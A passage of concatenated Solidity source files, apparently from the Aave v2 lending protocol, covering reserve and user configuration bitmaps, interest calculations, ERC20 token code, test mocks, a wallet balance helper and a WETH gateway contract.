* @return The borrowing state
**/
function getBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (bool)
{
return (self.data & ~BORROWING_MASK) != 0;
}
/**
* @dev Enables or disables stable rate borrowing on the reserve
* @param self The reserve configuration
* @param enabled True if the stable rate borrowing needs to be enabled, false otherwise
**/
function setStableRateBorrowingEnabled(
DataTypes.ReserveConfigurationMap memory self,
bool enabled
) internal pure {
self.data =
(self.data & STABLE_BORROWING_MASK) |
(uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION);
}
/**
* @dev Gets the stable rate borrowing state of the reserve
* @param self The reserve configuration
* @return The stable rate borrowing state
**/
function getStableRateBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (bool)
{
return (self.data & ~STABLE_BORROWING_MASK) != 0;
}
/**
* @dev Sets the reserve factor of the reserve
* @param self The reserve configuration
* @param reserveFactor The reserve factor
**/
function setReserveFactor(DataTypes.ReserveConfigurationMap memory self, uint256 reserveFactor)
internal
pure
{
require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.RC_INVALID_RESERVE_FACTOR);
self.data =
(self.data & RESERVE_FACTOR_MASK) |
(reserveFactor << RESERVE_FACTOR_START_BIT_POSITION);
}
/**
* @dev Gets the reserve factor of the reserve
* @param self The reserve configuration
* @return The reserve factor
**/
function getReserveFactor(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION;
}
/**
* @dev Gets the configuration flags of the reserve
* @param self The reserve configuration
* @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled
**/
function getFlags(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (
bool,
bool,
bool,
bool
)
{
uint256 dataLocal = self.data;
return (
(dataLocal & ~ACTIVE_MASK) != 0,
(dataLocal & ~FROZEN_MASK) != 0,
(dataLocal & ~BORROWING_MASK) != 0,
(dataLocal & ~STABLE_BORROWING_MASK) != 0
);
}
/**
* @dev Gets the configuration paramters of the reserve
* @param self The reserve configuration
* @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals
**/
function getParams(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
uint256 dataLocal = self.data;
return (
dataLocal & ~LTV_MASK,
(dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION,
(dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION,
(dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION,
(dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION
);
}
/**
* @dev Gets the configuration paramters of the reserve from a memory object
* @param self The reserve configuration
* @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals
**/
function getParamsMemory(DataTypes.ReserveConfigurationMap memory self)
internal
pure
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
return (
self.data & ~LTV_MASK,
(self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION,
(self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION,
(self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION,
(self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION
);
}
/**
* @dev Gets the configuration flags of the reserve from a memory object
* @param self The reserve configuration
* @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled
**/
function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self)
internal
pure
returns (
bool,
bool,
bool,
bool
)
{
return (
(self.data & ~ACTIVE_MASK) != 0,
(self.data & ~FROZEN_MASK) != 0,
(self.data & ~BORROWING_MASK) != 0,
(self.data & ~STABLE_BORROWING_MASK) != 0
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
import {DataTypes} from '../types/DataTypes.sol';
/**
* @title UserConfiguration library
* @author Aave
* @notice Implements the bitmap logic to handle the user configuration
*/
library UserConfiguration {
uint256 internal constant BORROWING_MASK =
0x5555555555555555555555555555555555555555555555555555555555555555;
/**
* @dev Sets if the user is borrowing the reserve identified by reserveIndex
* @param self The configuration object
* @param reserveIndex The index of the reserve in the bitmap
* @param borrowing True if the user is borrowing the reserve, false otherwise
**/
function setBorrowing(
DataTypes.UserConfigurationMap storage self,
uint256 reserveIndex,
bool borrowing
) internal {
require(reserveIndex < 128, Errors.UL_INVALID_INDEX);
self.data =
(self.data & ~(1 << (reserveIndex * 2))) |
(uint256(borrowing ? 1 : 0) << (reserveIndex * 2));
}
/**
* @dev Sets if the user is using as collateral the reserve identified by reserveIndex
* @param self The configuration object
* @param reserveIndex The index of the reserve in the bitmap
* @param usingAsCollateral True if the user is usin the reserve as collateral, false otherwise
**/
function setUsingAsCollateral(
DataTypes.UserConfigurationMap storage self,
uint256 reserveIndex,
bool usingAsCollateral
) internal {
require(reserveIndex < 128, Errors.UL_INVALID_INDEX);
self.data =
(self.data & ~(1 << (reserveIndex * 2 + 1))) |
(uint256(usingAsCollateral ? 1 : 0) << (reserveIndex * 2 + 1));
}
/**
* @dev Used to validate if a user has been using the reserve for borrowing or as collateral
* @param self The configuration object
* @param reserveIndex The index of the reserve in the bitmap
* @return True if the user has been using a reserve for borrowing or as collateral, false otherwise
**/
function isUsingAsCollateralOrBorrowing(
DataTypes.UserConfigurationMap memory self,
uint256 reserveIndex
) internal pure returns (bool) {
require(reserveIndex < 128, Errors.UL_INVALID_INDEX);
return (self.data >> (reserveIndex * 2)) & 3 != 0;
}
/**
* @dev Used to validate if a user has been using the reserve for borrowing
* @param self The configuration object
* @param reserveIndex The index of the reserve in the bitmap
* @return True if the user has been using a reserve for borrowing, false otherwise
**/
function isBorrowing(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex)
internal
pure
returns (bool)
{
require(reserveIndex < 128, Errors.UL_INVALID_INDEX);
return (self.data >> (reserveIndex * 2)) & 1 != 0;
}
/**
* @dev Used to validate if a user has been using the reserve as collateral
* @param self The configuration object
* @param reserveIndex The index of the reserve in the bitmap
* @return True if the user has been using a reserve as collateral, false otherwise
**/
function isUsingAsCollateral(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex)
internal
pure
returns (bool)
{
require(reserveIndex < 128, Errors.UL_INVALID_INDEX);
return (self.data >> (reserveIndex * 2 + 1)) & 1 != 0;
}
/**
* @dev Used to validate if a user has been borrowing from any reserve
* @param self The configuration object
* @return True if the user has been borrowing any reserve, false otherwise
**/
function isBorrowingAny(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) {
return self.data & BORROWING_MASK != 0;
}
/**
* @dev Used to validate if a user has not been using any reserve
* @param self The configuration object
* @return True if the user has been borrowing any reserve, false otherwise
**/
function isEmpty(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) {
return self.data == 0;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title IReserveInterestRateStrategyInterface interface
* @dev Interface for the calculation of the interest rates
* @author Aave
*/
interface IReserveInterestRateStrategy {
function baseVariableBorrowRate() external view returns (uint256);
function getMaxVariableBorrowRate() external view returns (uint256);
function calculateInterestRates(
address reserve,
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
external
view
returns (
uint256,
uint256,
uint256
);
function calculateInterestRates(
address reserve,
address aToken,
uint256 liquidityAdded,
uint256 liquidityTaken,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
external
view
returns (
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate
);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {WadRayMath} from './WadRayMath.sol';
library MathUtils {
using SafeMath for uint256;
using WadRayMath for uint256;
/// @dev Ignoring leap years
uint256 internal constant SECONDS_PER_YEAR = 365 days;
/**
* @dev Function to calculate the interest accumulated using a linear interest rate formula
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate linearly accumulated during the timeDelta, in ray
**/
function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solium-disable-next-line
uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp));
return (rate.mul(timeDifference) / SECONDS_PER_YEAR).add(WadRayMath.ray());
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
function calculateCompoundedInterest(
uint256 rate,
uint40 lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solium-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = rate / SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
/**
* @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp
* @param rate The interest rate (in ray)
* @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated
**/
function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {FlashLoanReceiverBase} from '../../flashloan/base/FlashLoanReceiverBase.sol';
import {MintableERC20} from '../tokens/MintableERC20.sol';
import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
contract MockFlashLoanReceiver is FlashLoanReceiverBase {
using SafeERC20 for IERC20;
ILendingPoolAddressesProvider internal _provider;
event ExecutedWithFail(address[] _assets, uint256[] _amounts, uint256[] _premiums);
event ExecutedWithSuccess(address[] _assets, uint256[] _amounts, uint256[] _premiums);
bool _failExecution;
uint256 _amountToApprove;
bool _simulateEOA;
constructor(ILendingPoolAddressesProvider provider) public FlashLoanReceiverBase(provider) {}
function setFailExecutionTransfer(bool fail) public {
_failExecution = fail;
}
function setAmountToApprove(uint256 amountToApprove) public {
_amountToApprove = amountToApprove;
}
function setSimulateEOA(bool flag) public {
_simulateEOA = flag;
}
function amountToApprove() public view returns (uint256) {
return _amountToApprove;
}
function simulateEOA() public view returns (bool) {
return _simulateEOA;
}
function executeOperation(
address[] memory assets,
uint256[] memory amounts,
uint256[] memory premiums,
address initiator,
bytes memory params
) public override returns (bool) {
params;
initiator;
if (_failExecution) {
emit ExecutedWithFail(assets, amounts, premiums);
return !_simulateEOA;
}
for (uint256 i = 0; i < assets.length; i++) {
//mint to this contract the specific amount
MintableERC20 token = MintableERC20(assets[i]);
//check the contract has the specified balance
require(
amounts[i] <= IERC20(assets[i]).balanceOf(address(this)),
'Invalid balance for the contract'
);
uint256 amountToReturn =
(_amountToApprove != 0) ? _amountToApprove : amounts[i].add(premiums[i]);
//execution does not fail - mint tokens and return them to the _destination
token.mint(premiums[i]);
IERC20(assets[i]).approve(address(LENDING_POOL), amountToReturn);
}
emit ExecutedWithSuccess(assets, amounts, premiums);
return true;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol';
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract MintableERC20 is ERC20 {
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public ERC20(name, symbol) {
_setupDecimals(decimals);
}
/**
* @dev Function to mint tokens
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(uint256 value) public returns (bool) {
_mint(_msgSender(), value);
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Context.sol';
import './IERC20.sol';
import './SafeMath.sol';
import './Address.sol';
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {Address} from '../dependencies/openzeppelin/contracts/Address.sol';
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingPool} from '../interfaces/ILendingPool.sol';
import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
/**
* @title WalletBalanceProvider contract
* @author Aave, influenced by https://github.com/wbobeirne/eth-balance-checker/blob/master/contracts/BalanceChecker.sol
* @notice Implements a logic of getting multiple tokens balance for one user address
* @dev NOTE: THIS CONTRACT IS NOT USED WITHIN THE AAVE PROTOCOL. It's an accessory contract used to reduce the number of calls
* towards the blockchain from the Aave backend.
**/
contract WalletBalanceProvider {
using Address for address payable;
using Address for address;
using SafeERC20 for IERC20;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
address constant MOCK_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
@dev Fallback function, don't accept any ETH
**/
receive() external payable {
//only contracts can send ETH to the core
require(msg.sender.isContract(), '22');
}
/**
@dev Check the token balance of a wallet in a token contract
Returns the balance of the token for user. Avoids possible errors:
- return 0 on non-contract address
**/
function balanceOf(address user, address token) public view returns (uint256) {
if (token == MOCK_ETH_ADDRESS) {
return user.balance; // ETH balance
// check if token is actually a contract
} else if (token.isContract()) {
return IERC20(token).balanceOf(user);
}
revert('INVALID_TOKEN');
}
/**
* @notice Fetches, for a list of _users and _tokens (ETH included with mock address), the balances
* @param users The list of users
* @param tokens The list of tokens
* @return And array with the concatenation of, for each user, his/her balances
**/
function batchBalanceOf(address[] calldata users, address[] calldata tokens)
external
view
returns (uint256[] memory)
{
uint256[] memory balances = new uint256[](users.length * tokens.length);
for (uint256 i = 0; i < users.length; i++) {
for (uint256 j = 0; j < tokens.length; j++) {
balances[i * tokens.length + j] = balanceOf(users[i], tokens[j]);
}
}
return balances;
}
/**
@dev provides balances of user wallet for all reserves available on the pool
*/
function getUserWalletBalances(address provider, address user)
external
view
returns (address[] memory, uint256[] memory)
{
ILendingPool pool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool());
address[] memory reserves = pool.getReservesList();
address[] memory reservesWithEth = new address[](reserves.length + 1);
for (uint256 i = 0; i < reserves.length; i++) {
reservesWithEth[i] = reserves[i];
}
reservesWithEth[reserves.length] = MOCK_ETH_ADDRESS;
uint256[] memory balances = new uint256[](reservesWithEth.length);
for (uint256 j = 0; j < reserves.length; j++) {
DataTypes.ReserveConfigurationMap memory configuration =
pool.getConfiguration(reservesWithEth[j]);
(bool isActive, , , ) = configuration.getFlagsMemory();
if (!isActive) {
balances[j] = 0;
continue;
}
balances[j] = balanceOf(user, reservesWithEth[j]);
}
balances[reserves.length] = balanceOf(user, MOCK_ETH_ADDRESS);
return (reservesWithEth, balances);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol';
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
import {IWETH} from './interfaces/IWETH.sol';
import {IWETHGateway} from './interfaces/IWETHGateway.sol';
import {ILendingPool} from '../interfaces/ILendingPool.sol';
import {IAToken} from '../interfaces/IAToken.sol';
import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol';
import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol';
import {Helpers} from '../protocol/libraries/helpers/Helpers.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
contract WETHGateway is IWETHGateway, Ownable {
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
using UserConfiguration for DataTypes.UserConfigurationMap;
IWETH internal immutable WETH;
/**
* @dev Sets the WETH address and the LendingPoolAddressesProvider address. Infinite approves lending pool.
* @param weth Address of the Wrapped Ether contract
**/
constructor(address weth) public {
WETH = IWETH(weth);
}
function authorizeLendingPool(address lendingPool) external onlyOwner {
WETH.approve(lendingPool, uint256(-1));
}
/**
* @dev deposits WETH into the reserve, using native ETH. A corresponding amount of the overlying asset (aTokens)
* is minted.
* @param lendingPool address of the targeted underlying lending pool
* @param onBehalfOf address of the user who will receive the aTokens representing the deposit
* @param referralCode integrators are assigned a referral code and can potentially receive rewards.
**/
function depositETH(
address lendingPool,
address onBehalfOf,
uint16 referralCode
) external payable override {
WETH.deposit{value: msg.value}();
ILendingPool(lendingPool).deposit(address(WETH), msg.value, onBehalfOf, referralCode);
}
/**
* @dev withdraws the WETH _reserves of msg.sender.
* @param lendingPool address of the targeted underlying lending pool
* @param amount amount of aWETH to withdraw and receive native ETH
* @param to address of the user who will receive native ETH
*/
function withdrawETH(
address lendingPool,
uint256 amount,
address to
) external override {
IAToken aWETH = IAToken(ILendingPool(lendingPool).getReserveData(address(WETH)).aTokenAddress);
uint256 userBalance = aWETH.balanceOf(msg.sender);
uint256 amountToWithdraw = amount;
// if amount is equal to uint(-1), the user wants to redeem everything
if (amount == type(uint256).max) {
amountToWithdraw = userBalance;
}
aWETH.transferFrom(msg.sender, address(this), amountToWithdraw);
ILendingPool(lendingPool).withdraw(address(WETH), amountToWithdraw, address(this));
WETH.withdraw(amountToWithdraw);
_safeTransferETH(to, amountToWithdraw);
}
/**
* @dev repays a borrow on the WETH reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified).
* @param lendingPool address of the targeted underlying lending pool
* @param amount the amount to repay, or uint256(-1) if the user wants to repay everything
* @param rateMode the rate mode to repay
* @param onBehalfOf the address for which msg.sender is repaying
*/
function repayETH(
address lendingPool,
uint256 amount,
uint256 rateMode,
address onBehalfOf
) external payable override {
(uint256 stableDebt, uint256 variableDebt) =
Helpers.getUserCurrentDebtMemory(
onBehalfOf,
ILendingPool(lendingPool).getReserveData(address(WETH))
);
uint256 paybackAmount =
DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE
? stableDebt
: variableDebt;
if (amount < paybackAmount) {
paybackAmount = amount;
}
require(msg.value >= paybackAmount, 'msg.value is less than repayment amount');
WETH.deposit{value: paybackAmount}();
ILendingPool(lendingPool).repay(address(WETH), msg.value, rateMode, onBehalfOf);
// refund remaining dust eth
if (msg.value > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount);
}
/**
* @dev borrow WETH, unwraps to ETH and send both the ETH and DebtTokens to msg.sender, via `approveDelegation` and onBehalf argument in `LendingPool.borrow`.
* @param lendingPool address of the targeted underlying lending pool
* @param amount the amount of ETH to borrow
* @param interesRateMode the interest rate mode
* @param referralCode integrators are assigned a referral code and can potentially receive rewards
*/
function borrowETH(
address lendingPool,
uint256 amount,
uint256 interesRateMode,
uint16 referralCode
) external override {
ILendingPool(lendingPool).borrow(
address(WETH),
amount,
interesRateMode,
referralCode,
msg.sender
);
WETH.withdraw(amount);
_safeTransferETH(msg.sender, amount);
}
/**
* @dev transfer ETH to an address, revert if it fails.
* @param to recipient of the transfer
* @param value the amount to send
*/
function _safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'ETH_TRANSFER_FAILED');
}
/**
* @dev transfer ERC20 from the utility contract, for ERC20 recovery in case of stuck tokens due
* direct transfers to the contract address.
* @param token token to transfer
* @param to recipient of the transfer
* @param amount amount to send
*/
function emergencyTokenTransfer(
address token,
address to,
uint256 amount
) external onlyOwner {
IERC20(token).transfer(to, amount);
}
/**
* @dev transfer native Ether from the utility contract, for native Ether recovery in case of stuck Ether
* due selfdestructs or transfer ether to pre-computated contract address before deployment.
* @param to recipient of the transfer
* @param amount amount to send
*/
function emergencyEtherTransfer(address to, uint256 amount) external onlyOwner {
_safeTransferETH(to, amount);
}
/**
* @dev Get WETH address used by WETHGateway
*/
function getWETHAddress() external view returns (address) {
return address(WETH);
}
/**
* @dev Only WETH contract is allowed to transfer ETH here. Prevent other addresses to send Ether to this contract.
*/
receive() external payable {
require(msg.sender == address(WETH), 'Receive not allowed');
}
/**
* @dev Revert fallback calls
*/
fallback() external payable {
revert('Fallback not allowed');
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function approve(address guy, uint256 wad) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IWETHGateway {
function depositETH(
address lendingPool,
address onBehalfOf,
uint16 referralCode
) external payable;
function withdrawETH(
address lendingPool,
uint256 amount,
address onBehalfOf
) external;
function repayETH(
address lendingPool,
uint256 amount,
uint256 rateMode,
address onBehalfOf
) external payable;
function borrowETH(
address lendingPool,
uint256 amount,
uint256 interesRateMode,
uint16 referralCode
) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
